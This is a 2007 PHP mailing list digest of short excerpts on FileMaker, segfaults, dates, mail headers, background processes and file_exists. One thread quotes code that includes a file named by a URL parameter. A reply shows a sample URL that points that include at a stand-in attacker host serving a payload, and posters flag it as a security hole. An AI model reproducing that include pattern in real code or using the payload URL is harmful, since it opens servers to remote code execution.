php-general Digest 15 Nov 2007 07:46:19 - Issue 5129
Topics (messages 264517 through 264549):
Re: Sending Pictures to Cell Phones
264517 by: Philip Thompson
264520 by: Bastien Koert
Re: PHP Developers and the manual
264518 by: Philip Thompson
264519 by:
Paul,
What I'm really looking for is a PHP class that will read FileMaker
files in their native format. I'm beginning to suspect that none
exists in the public arena. Someone please tell me there is!
I've been a Filemaker user (and had some Lasso and Frontier driven sites
once). I still use
Thanks Daniel.
However, as soon as I started reading the fx-php documentation I ran into this:
FX.php is a PHP class which parses the XML output by FileMaker Pro's
web companion...
The FM Web Companion is another whole ball of wax and appears to be a
live agent running on the server hosting
At 11/14/2007 01:02 AM, George Pitcher wrote:
Paul,
What I'm really looking for is a PHP class that will read FileMaker
files in their native format. I'm beginning to suspect that none
exists in the public arena. Someone please tell me there is!
...
I'm just exporting my tables (files
Check out this cool little snippet for use in CLI scripts. It shows processing
with a spinner. It took me a little while to figure out the magic combination
of the cursor array and ternary operator. My main goal was to make it as self
contained and efficient as possible. I am importing millions
Daevid Vincent wrote:
I am importing millions of records, and didn't want to waste CPU time
on computing modulus on some huge $i value. :)
So instead you spend it on displaying a progress indicator :-)
besides, modulus 8 is done by one single instruction - of which a modern
processor does
All of a sudden, I am getting a bunch of segfaults in PHP.
The Apache2 error log simply says:
[Wed Nov 14 11:43:36 2007] [notice] child pid 10982 exit signal
Segmentation fault (11)
and if I run the script through PHP-CLI it outputs the expected HTML,
but with a Segmentation Fault notice at
On Wed, 2007-11-14 at 13:32 +0100, Per Jessen wrote:
Backtrace?
backtrace
#0 0xb691f310 in ?? ()
#1 0xb7874705 in CRYPTO_lock ()
from /usr/lib/i686/cmov/libcrypto.so.0.9.8
#2 0xb78e057d in ?? () from /usr/lib/i686/cmov/libcrypto.so.0.9.8
#3 0x0009 in ?? ()
#4 0x0001 in ?? ()
#5
Paul Scott wrote:
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1215904080 (LWP 15747)]
0xb6978310 in ?? ()
Backtrace?
I am not aware of any updates or anything that *may* possibly have
broken things, but am open to suggestions
So, absolutely nothing has
Paul Scott wrote:
Not completely, just following regular Ubuntu updates. I have disabled
all sites (a2dissite) and stopped appArmour as well, with no change to
the issue.
OK, so quite a few things could have changed - in PHP or in apache.
However, you said you reproduced the problem using
On Wed, 2007-11-14 at 14:17 +0100, Per Jessen wrote:
OK, so quite a few things could have changed - in PHP or in apache.
However, you said you reproduced the problem using CLI, so we're
talking PHP or something underlying.
It looks as though libcrypto has gotten itself into a knot. I did a
On Nov 14, 2007 7:44 AM, Paul Scott [EMAIL PROTECTED] wrote:
On Wed, 2007-11-14 at 13:32 +0100, Per Jessen wrote:
Backtrace?
backtrace
#0 0xb691f310 in ?? ()
#1 0xb7874705 in CRYPTO_lock ()
from /usr/lib/i686/cmov/libcrypto.so.0.9.8
#2 0xb78e057d in ?? () from
On Nov 14, 2007 10:10 AM, Viacheslav Chumushuk [EMAIL PROTECTED] wrote:
Hello.
I want to run process from my php script in background.
I try different functions from functions list but all of them whaiting for
process ending.
How can I run `wget -b ...` and finish my script, but wget must
Hello.
I want to run process from my php script in background.
I try different functions from functions list but all of them whaiting for
process ending.
How can I run `wget -b ...` and finish my script, but wget must still working?
I use PHP5, Linux, Apache2.
Thank You.
--
PHP General
You need to run wget from a cron job.
-Original Message-
From: Viacheslav Chumushuk [mailto:[EMAIL PROTECTED]
Sent: Wednesday, November 14, 2007 9:10 AM
To: php-general@lists.php.net
Subject: [PHP] Run process in background
Hello.
I want to run process from my php script in
Brad,
That code is a mess and highly incorrect, even at a novice level.
Let me give you a hand
On Nov 14, 2007 10:31 AM, Brad [EMAIL PROTECTED] wrote:
I implemented the proposed code, and emails are not being sent?
Any suggestions?
Here is the code
?
$email =
I implemented the proposed code, and emails are not being sent?
Any suggestions?
Here is the code
?
$email = $_REQUEST['email'] ;
$eol=\r\n;
$headers .= From: .$fromname..$fromaddress..$eol;
$headers .= Reply-To: .$fromname..$fromaddress..$eol;
$headers .= Return-Path:
I recently subscribed to php-general(2 months I think) and during this
time I saw some nice stuff, but most of the times (90% ?) It's always
the same thing.
PHP Developers that really have some kind of problem about reading
the Documentation.
This is not a rant, really! I'm an experienced
On Nov 14, 2007, at 11:53 AM, João Amaro Lagedo wrote:
I recently subscribed to php-general(2 months I think) and during this
time I saw some nice stuff, but most of the times (90% ?) It's always
the same thing.
PHP Developers that really have some kind of problem about reading
the
On Nov 14, 2007, at 11:53 AM, João Amaro Lagedo wrote:
I recently subscribed to php-general(2 months I think) and during this
time I saw some nice stuff, but most of the times (90% ?) It's always
the same thing.
PHP Developers that really have some kind of problem about reading
the
[snip]
So I guess the point of this e-mail, is to say thanks to everyone who
has helped me. :)
[/snip]
+1 and a cast of thousands.
Even if the answer is terse like;
http://www.php.net/manual/en/indexes.php
it typically gives the inquirer a place to start. The way that the manual is
Hello,
Use the date function http://us3.php.net/date.
Regards,
William Betts
[EMAIL PROTECTED] wrote:
Hi Folks,
Newbie question :
- how do I get and display the current date?
- how do I get and display the current time?
I see the getdate function - but I'm not sure if this is the right
On Wed, 2007-11-14 at 12:26 -0500, Daniel Brown wrote:
On Nov 14, 2007, at 11:53 AM, João Amaro Lagedo wrote:
I recently subscribed to php-general(2 months I think) and during this
time I saw some nice stuff, but most of the times (90% ?) It's always
the same thing.
PHP Developers
There's a manual?
I though you guys were making this stuff up as you went along. :-)
Cheers,
tedd
--
---
http://sperling.com http://ancientstones.com http://earthstones.com
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
Check out date function.
?
echo date(r, time());
?
Prints out nice local time, what you need can be made by changing the r
option. Have a look at the manual for alternatives to r liek Y for year,
etc...
so far
- Ursprüngliche Nachricht -
Von: [EMAIL PROTECTED] [EMAIL PROTECTED]
On Nov 14, 2007 12:39 PM, [EMAIL PROTECTED] [EMAIL PROTECTED] wrote:
Hi Folks,
Newbie question :
- how do I get and display the current date?
- how do I get and display the current time?
I see the getdate function - but I'm not sure if this is the right function
or how to display it
On Nov 14, 2007, at 12:39 PM, [EMAIL PROTECTED] wrote:
Hi Folks,
Newbie question :
- how do I get and display the current date?
- how do I get and display the current time?
I see the getdate function - but I'm not sure if this is the right
function
or how to display it
Hi!
Look at this:
http://es.php.net/manual/es/function.date.php
[EMAIL PROTECTED] escribió:
Hi Folks,
Newbie question :
- how do I get and display the current date?
- how do I get and display the current time?
I see the getdate function - but I'm not sure if this is the right function
or
Hi Folks,
Newbie question :
- how do I get and display the current date?
- how do I get and display the current time?
I see the getdate function - but I'm not sure if this is the right function
or how to display it
http://www.php.net/manual/en/function.getdate.php
--
Thanks - RevDave
At 9:39 AM -0800 11/14/07, [EMAIL PROTECTED] wrote:
Hi Folks,
Newbie question :
- how do I get and display the current date?
- how do I get and display the current time?
I see the getdate function - but I'm not sure if this is the right function
or how to display it
Thanks Folks,
The date function worked great!
--
Thanks - RevDave
Cool7 @ hosting4days . com
[db-lists]
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
Hey list,
I'm doing some RD for a project at my job and my boss wants the ability
to send pictures to cell phones. I was wondering if anyone had any
experience with this or could point me in the right direction to get
started.
Thanks,
Jeremy
--
PHP General Mailing List (http://www.php.net/)
To
On Nov 14, 2007 12:55 PM, Robert Cummings [EMAIL PROTECTED] wrote:
On Wed, 2007-11-14 at 12:26 -0500, Daniel Brown wrote:
On Nov 14, 2007, at 11:53 AM, João Amaro Lagedo wrote:
I recently subscribed to php-general(2 months I think) and during this
time I saw some nice stuff, but most
On Nov 14, 2007 1:03 PM, tedd [EMAIL PROTECTED] wrote:
There's a manual?
I though you guys were making this stuff up as you went along. :-)
Cheers,
tedd
--
---
http://sperling.com http://ancientstones.com http://earthstones.com
In actuality, Tedd, that's a very accurate
On Nov 14, 2007 1:39 PM, Daniel Brown [EMAIL PROTECTED] wrote:
If you don't know how it works, you can
bitch about the syntax manuals being too vague.
im going to take the opportunity here and bitch about the documentation for
the DateTime object built into php5; it sucks :-O
-nathan
On Wed, 2007-11-14 at 13:55 -0500, Nathan Nobbe wrote:
On Nov 14, 2007 1:39 PM, Daniel Brown [EMAIL PROTECTED] wrote:
If you don't know how it works, you can
bitch about the syntax manuals being too vague.
im going to take the opportunity here and bitch about the documentation for
the
On Wed, 2007-11-14 at 13:36 -0500, Daniel Brown wrote:
On Nov 14, 2007 12:55 PM, Robert Cummings [EMAIL PROTECTED]
wrote:
Hey, no worries. You'll be able to officially thank the community
when we go to the new mandatory donation system on the list on 1
January, 2008. Watch for
On Nov 14, 2007 1:27 PM, [EMAIL PROTECTED] wrote:
Hey list,
I'm doing some RD for a project at my job and my boss wants the ability
to send pictures to cell phones. I was wondering if anyone had any
experience with this or could point me in the right direction to get
started.
Thanks,
Chris wrote:
Ronald Wiplinger wrote:
I am having troubles with the function file_exists()
I tried the full path like:
if (file_exists('/srv/www/../images/pic412.jpg') {
echo IMG SRC='images/pic412.jpg';
} else {
echo nbsp; //picture is missing!
}
No
On Nov 14, 2007 2:00 PM, Robert Cummings [EMAIL PROTECTED] wrote:
On Wed, 2007-11-14 at 13:36 -0500, Daniel Brown wrote:
On Nov 14, 2007 12:55 PM, Robert Cummings [EMAIL PROTECTED]
wrote:
Hey, no worries. You'll be able to officially thank the community
when we go to the new
On Nov 14, 2007 1:04 PM, Daniel Brown [EMAIL PROTECTED] wrote:
On Nov 14, 2007 2:00 PM, Robert Cummings [EMAIL PROTECTED] wrote:
On Wed, 2007-11-14 at 13:36 -0500, Daniel Brown wrote:
On Nov 14, 2007 12:55 PM, Robert Cummings [EMAIL PROTECTED]
wrote:
Hey, no worries. You'll be
On Nov 14, 2007 2:54 PM, Philip Thompson [EMAIL PROTECTED] wrote:
I know I can't be the only one that puts/creates a face for each person on
this list... =P
You don't have to with me, Philip. Since you use Gmail, simply
mouseover my name and you'll see my ugly mug staring right back at
On Nov 14, 2007 12:27 PM, [EMAIL PROTECTED] wrote:
Hey list,
I'm doing some RD for a project at my job and my boss wants the ability
to send pictures to cell phones. I was wondering if anyone had any
experience with this or could point me in the right direction to get
started.
Thanks,
What is the actual planned implemtation? Email or SMS/MMS?
if the latter, you are looking for MMS specs (send XML SMS to phone with media)
Try http://hellkvist.org/software/ for code samples
HTH
Bastien
Date: Wed, 14 Nov 2007 13:45:05 -0600 From: [EMAIL PROTECTED] To:
Hi:
Hi Folks,
Newbie question :
- how do I get and display the current date?
- how do I get and display the current time?
I see the getdate function - but I'm not sure if this is the right
function
or how to display it
http://www.php.net/manual/en/function.getdate.php
On Nov 14, 2007 3:19 PM, Jon Westcot [EMAIL PROTECTED] wrote:
Hi:
Hi Folks,
Newbie question :
- how do I get and display the current date?
- how do I get and display the current time?
I see the getdate function - but I'm not sure if this is the right
function
or how
On Nov 14, 2007, at 3:39 PM, Daniel Brown wrote:
On Nov 14, 2007 3:19 PM, Jon Westcot [EMAIL PROTECTED] wrote:
Hi:
Hi Folks,
Newbie question :
- how do I get and display the current date?
- how do I get and display the current time?
I see the getdate function - but I'm not sure if this
On Nov 14, 2007 3:54 PM, Jason Pruim [EMAIL PROTECTED] wrote:
[snip]
Now... Just exactly what makes you think it was a typo oh Master
Brown?
[snip]
Yeah, keep it up, smartass. I'm on to you ;-P
--
Daniel P. Brown
[office] (570-) 587-7080 Ext. 272
[mobile] (570-) 766-8107
If at first
better use Date() in js ...
tedd-2 wrote:
Current date/time for whom?
For your server, use php's date().
For the user, use javascript's date().
It's so cool to be multilingual. :-)
Cheers,
tedd
--
---
http://sperling.com http://ancientstones.com
On Nov 14, 2007 4:20 PM, [EMAIL PROTECTED] [EMAIL PROTECTED] wrote:
Come to think of it - if there is a more basic 'newbie' forum list (for PHP
beginners like myself) that anyone knows of (I found a few listed below) -
please let me know and I'll use that instead for these 'basic' questions...
On Nov 14, 2007 3:20 PM, [EMAIL PROTECTED] [EMAIL PROTECTED]
wrote:
Come to think of it - if there is a more basic 'newbie' forum list (for
PHP
beginners like myself) that anyone knows of (I found a few listed below) -
please let me know and I'll use that instead for these 'basic'
Ronald Wiplinger wrote:
Chris wrote:
Ronald Wiplinger wrote:
I am having troubles with the function file_exists()
I tried the full path like:
if (file_exists('/srv/www/../images/pic412.jpg') {
echo IMG SRC='images/pic412.jpg';
} else {
echo nbsp; //picture
On Nov 14, 2007 5:04 PM, Chris [EMAIL PROTECTED] wrote:
Ronald Wiplinger wrote:
Chris wrote:
Ronald Wiplinger wrote:
I am having troubles with the function file_exists()
I tried the full path like:
if (file_exists('/srv/www/../images/pic412.jpg') {
echo IMG
if (file_exists('/srv/www/../images/pic412.jpg') {
Two left parens, one right, surprised you don't get a syntax error?
Warren Vail
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
Philip Thompson wrote:
On Nov 14, 2007 3:20 PM, [EMAIL PROTECTED] [EMAIL PROTECTED]
wrote:
Come to think of it - if there is a more basic 'newbie' forum list (for
PHP
beginners like myself) that anyone knows of (I found a few listed below) -
please let me know and I'll use that instead for
Philip Thompson wrote:
I've run into similar problems where I *thought* I was looking in the
correct location... but I wasn't. Take this for example
?php // index.php?page=hello/hi
$page = $_GET['page'];
if (file_exists ($page.php)) {
include ($page.php);
}
?
I really hope this is not
On Thu, 15 Nov 2007, Jeffery Fernandez wrote:
Hi all,
I am having trouble generating a sequence of numbers from the following start
value:
AX0001
what I have done so far is loop through each character and check if its a
alphabet and separating the characters and digits.
But when I
Hi all,
I am having trouble generating a sequence of numbers from the following start
value:
AX0001
what I have done so far is loop through each character and check if its a
alphabet and separating the characters and digits.
But when I increment the digits, its strips of the leading zeros.
Try sprintf().
On Nov 14, 2007, at 4:32 PM, Jeffery Fernandez [EMAIL PROTECTED]
wrote:
Hi all,
I am having trouble generating a sequence of numbers from the
following start
value:
AX0001
what I have done so far is loop through each character and check if
its a
alphabet and
On Thu, 15 Nov 2007 11:48:07 am Stephen Edberg wrote:
On Thu, 15 Nov 2007, Jeffery Fernandez wrote:
Hi all,
I am having trouble generating a sequence of numbers from the following
start value:
AX0001
what I have done so far is loop through each character and check if its a
Come to think of it - if there is a more basic 'newbie' forum list (for PHP
beginners like myself) that anyone knows of (I found a few listed below) -
please let me know and I'll use that instead for these 'basic' questions...
Until I get up to speed...
I found these 2 - any others (better)?
The question is not one of performance since while it will be quicker to
call a function than include a file the difference is going to be
inconsequential.
Stut,
You pointed me in the right direction, thank you.
Stut [EMAIL PROTECTED] wrote in message
news:[EMAIL PROTECTED]
Frank Lopes
Date: Wed, 14 Nov 2007 09:39:19 -0800
From: [EMAIL PROTECTED]
To: php-general@lists.php.net
Subject: [PHP] Newbie question - current date - time
Hi Folks,
Newbie question :
- how do I get and display the current date?
- how do I get and display the current time?
I see the getdate
At 1:54 PM -0600 11/14/07, Philip Thompson wrote:
I know I can't be the only one that puts/creates a face for each person on
this list... =P
No, but I'm the best looking one. I'll leave smart for someone else.
Cheers,
tedd
--
---
http://sperling.com http://ancientstones.com
At 7:00 PM -0800 11/14/07, Instruct ICC wrote:
But dude, there are many ways to skin a cat.
Yeah, but he's not going to like any of them. :-)
Cheers,
tedd
--
---
http://sperling.com http://ancientstones.com http://earthstones.com
--
PHP General Mailing List (http://www.php.net/)
To
On Wed, 2007-11-14 at 22:23 -0500, tedd wrote:
At 1:54 PM -0600 11/14/07, Philip Thompson wrote:
I know I can't be the only one that puts/creates a face for each person on
this list... =P
No, but I'm the best looking one. I'll leave smart for someone else.
Are you trying to be smart with
Date: Wed, 14 Nov 2007 13:20:16 -0800
From: [EMAIL PROTECTED]
To: php-general@lists.php.net
Subject: [PHP] Is there a 'Beginner's' PHP List
Come to think of it - if there is a more basic 'newbie' forum list (for PHP
beginners like myself) that anyone knows of (I found a few listed
Date: Thu, 15 Nov 2007 00:20:52 +
From: [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
CC: php-general@lists.php.net
Subject: Re: [PHP] file_exists
Philip Thompson wrote:
I've run into similar problems where I *thought* I was looking in the
correct location... but I wasn't. Take this for
Stut wrote:
Philip Thompson wrote:
I've run into similar problems where I *thought* I was looking in the
correct location... but I wasn't. Take this for example
?php // index.php?page=hello/hi
$page = $_GET['page'];
if (file_exists ($page.php)) {
include ($page.php);
}
?
I
-Original Message-
From: Per Jessen [mailto:[EMAIL PROTECTED]
Sent: Wednesday, November 14, 2007 1:08 AM
Daevid Vincent wrote:
I am importing millions of records, and didn't want to
waste CPU time on computing modulus on some huge $i value. :)
So instead you spend it on
Instruct ICC wrote:
Called like this?
index.php?page=http://evil-hacker-site.com/evil-payload.php
And the browser will probably url_encode for me if needed.
_
Climb to the top of the charts! Play Star Shuffle: the word
Ronald Wiplinger wrote:
Stut wrote:
Philip Thompson wrote:
I've run into similar problems where I *thought* I was looking in the
correct location... but I wasn't. Take this for example
?php // index.php?page=hello/hi
$page = $_GET['page'];
if (file_exists ($page.php)) {
72 matches
Mail list logo